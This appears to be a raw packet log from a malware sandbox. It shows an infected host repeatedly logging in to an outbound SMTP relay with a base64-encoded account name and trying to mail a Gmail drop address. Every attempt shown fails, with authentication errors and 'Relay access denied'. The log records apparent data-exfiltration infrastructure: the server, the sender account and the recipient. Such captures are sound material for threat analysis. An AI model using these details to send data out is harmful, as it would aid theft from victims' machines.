Sep 19, 2024 12:22:14.321743011 CEST	61541	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:22:14.480807066 CEST	587	61541	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:22:14.481129885 CEST	61541	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:22:14.638926983 CEST	587	61541	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:22:15.079889059 CEST	587	61540	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:22:15.080183983 CEST	61540	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:22:15.239180088 CEST	587	61540	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:22:15.239635944 CEST	61540	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:22:15.416130066 CEST	587	61540	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:22:16.447439909 CEST	587	61541	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:22:16.447737932 CEST	61541	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:22:16.603408098 CEST	587	61541	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:22:16.603584051 CEST	61541	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:22:16.777477026 CEST	587	61541	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:22:17.045360088 CEST	587	61543	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:22:17.045599937 CEST	61543	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:22:17.204201937 CEST	587	61543	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:22:17.204504967 CEST	61543	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:22:17.365452051 CEST	587	61543	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:22:18.257107973 CEST	587	61545	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:22:18.257333040 CEST	61545	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:22:18.411603928 CEST	587	61545	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:22:18.411808014 CEST	61545	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:22:18.568218946 CEST	587	61545	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:22:19.450445890 CEST	587	61543	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:22:19.450773001 CEST	61543	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:22:19.729592085 CEST	587	61543	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:22:19.729820013 CEST	61543	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:22:19.909646988 CEST	587	61543	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:22:20.442325115 CEST	587	61545	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:22:20.442517042 CEST	61545	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:22:20.598522902 CEST	587	61545	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:22:20.598757029 CEST	61545	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:22:20.772680998 CEST	587	61545	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:22:21.465183020 CEST	587	61548	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:22:21.465351105 CEST	61548	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:22:21.624355078 CEST	587	61548	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:22:21.624597073 CEST	61548	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:22:21.906661034 CEST	587	61548	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:22:22.462002993 CEST	587	61549	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:22:22.464104891 CEST	61549	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:22:22.619673967 CEST	587	61549	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:22:22.619868040 CEST	61549	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:22:22.777906895 CEST	587	61549	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:22:23.456172943 CEST	587	61548	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:22:23.456410885 CEST	61548	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:22:23.618108034 CEST	587	61548	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:22:23.618262053 CEST	61548	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:22:24.084027052 CEST	587	61548	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:22:24.084716082 CEST	587	61548	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:22:24.501113892 CEST	587	61549	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:22:24.501271963 CEST	61549	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:22:24.658282042 CEST	587	61549	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:22:24.660165071 CEST	61549	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:22:24.849423885 CEST	587	61549	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:22:25.613787889 CEST	587	61552	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:22:25.613957882 CEST	61552	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:22:25.768910885 CEST	587	61552	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:22:25.769162893 CEST	61552	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:22:25.927175045 CEST	587	61552	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:22:26.399029016 CEST	587	61553	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:22:26.399322987 CEST	61553	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:22:26.559828043 CEST	587	61553	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:22:26.560072899 CEST	61553	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:22:26.723054886 CEST	587	61553	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:22:28.078761101 CEST	587	61552	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:22:28.079190016 CEST	61552	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:22:28.083440065 CEST	587	61553	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:22:28.083698988 CEST	61553	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:22:28.237325907 CEST	587	61552	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:22:28.237694025 CEST	61552	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:22:28.248778105 CEST	587	61553	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:22:28.248979092 CEST	61553	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:22:28.428474903 CEST	587	61552	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:22:28.489243984 CEST	587	61553	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:22:29.909409046 CEST	587	61556	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:22:29.912358046 CEST	61556	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:22:29.953504086 CEST	587	61557	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:22:29.956531048 CEST	61557	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:22:30.068423986 CEST	587	61556	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:22:30.072374105 CEST	61556	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:22:30.110918999 CEST	587	61557	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:22:30.111397028 CEST	61557	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:22:30.231781960 CEST	587	61556	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:22:30.268218040 CEST	587	61557	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:22:32.450956106 CEST	587	61557	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:22:32.451215982 CEST	61557	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:22:32.453272104 CEST	587	61556	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:22:32.453649998 CEST	61556	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:22:32.608478069 CEST	587	61557	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:22:32.608995914 CEST	61557	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:22:32.616405010 CEST	587	61556	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:22:32.616688013 CEST	61556	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:22:32.785950899 CEST	587	61557	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:22:32.812859058 CEST	587	61556	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:22:35.229367971 CEST	587	61560	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:22:35.232145071 CEST	61560	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:22:35.234932899 CEST	587	61561	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:22:35.236201048 CEST	61561	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:22:35.392493010 CEST	587	61560	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:22:35.392528057 CEST	587	61561	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:22:35.392702103 CEST	61560	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:22:35.392740965 CEST	61561	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:22:35.551121950 CEST	587	61561	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:22:35.556041002 CEST	587	61560	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:22:37.766916037 CEST	587	61561	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:22:37.766957998 CEST	587	61560	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:22:37.767015934 CEST	587	61561	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:22:37.767044067 CEST	587	61560	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:22:37.767128944 CEST	61560	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:22:37.767194033 CEST	61561	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:22:37.924055099 CEST	587	61561	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:22:37.924256086 CEST	61561	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:22:37.927795887 CEST	587	61560	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:22:37.927932024 CEST	61560	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:22:38.098335981 CEST	587	61561	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:22:39.523374081 CEST	587	61564	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:22:39.523535967 CEST	61564	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:22:39.576838970 CEST	587	61565	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:22:39.577367067 CEST	61565	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:22:39.680028915 CEST	587	61564	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:22:39.680213928 CEST	61564	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:22:39.731138945 CEST	587	61565	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:22:39.731313944 CEST	61565	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:22:39.838540077 CEST	587	61564	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:22:39.887197971 CEST	587	61565	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:22:41.082890034 CEST	587	61565	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:22:41.083056927 CEST	61565	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:22:41.238562107 CEST	587	61565	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:22:41.238717079 CEST	61565	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:22:41.566231966 CEST	587	61565	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:22:41.566277981 CEST	587	61564	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:22:41.566554070 CEST	61564	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:22:41.724509954 CEST	587	61564	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:22:41.724651098 CEST	61564	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:22:43.377562046 CEST	587	61569	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:22:43.377706051 CEST	61569	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:22:43.386826992 CEST	587	61568	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:22:43.386977911 CEST	61568	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:22:43.538256884 CEST	587	61569	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:22:43.538407087 CEST	61569	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:22:43.547437906 CEST	587	61568	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:22:43.547597885 CEST	61568	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:22:43.698542118 CEST	587	61569	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:22:43.712973118 CEST	587	61568	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:22:45.090899944 CEST	587	61568	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:22:45.091061115 CEST	61568	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:22:45.253022909 CEST	587	61568	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:22:45.253182888 CEST	61568	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:22:45.431982040 CEST	587	61568	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:22:45.446964979 CEST	587	61569	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:22:45.447071075 CEST	61569	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:22:45.607012033 CEST	587	61569	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:22:45.607165098 CEST	61569	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:22:45.783425093 CEST	587	61569	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:22:46.929169893 CEST	587	61572	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:22:46.929306030 CEST	61572	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:22:47.083754063 CEST	587	61572	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:22:47.083988905 CEST	61572	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:22:47.240807056 CEST	587	61572	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:22:47.253108978 CEST	587	61573	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:22:47.253252983 CEST	61573	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:22:47.407512903 CEST	587	61573	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:22:47.407696009 CEST	61573	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:22:47.564616919 CEST	587	61573	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:22:49.089854956 CEST	587	61573	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:22:49.089870930 CEST	587	61572	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:22:49.090012074 CEST	61573	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:22:49.090048075 CEST	61572	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:22:49.416882038 CEST	587	61572	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:22:49.416893959 CEST	587	61573	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:22:49.417052031 CEST	61572	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:22:49.417118073 CEST	61573	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:22:49.589807034 CEST	587	61572	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:22:49.593501091 CEST	587	61573	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:22:51.169150114 CEST	587	61576	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:22:51.171051979 CEST	61576	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:22:51.182848930 CEST	587	61577	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:22:51.184639931 CEST	61577	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:22:51.331883907 CEST	587	61576	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:22:51.340090036 CEST	587	61577	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:22:51.343743086 CEST	61576	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:22:51.351624966 CEST	61577	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:22:51.500458002 CEST	587	61576	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:22:51.509391069 CEST	587	61577	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:22:53.092411041 CEST	587	61576	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:22:53.092621088 CEST	61576	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:22:53.248186111 CEST	587	61576	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:22:53.248317957 CEST	61576	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:22:53.430733919 CEST	587	61576	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
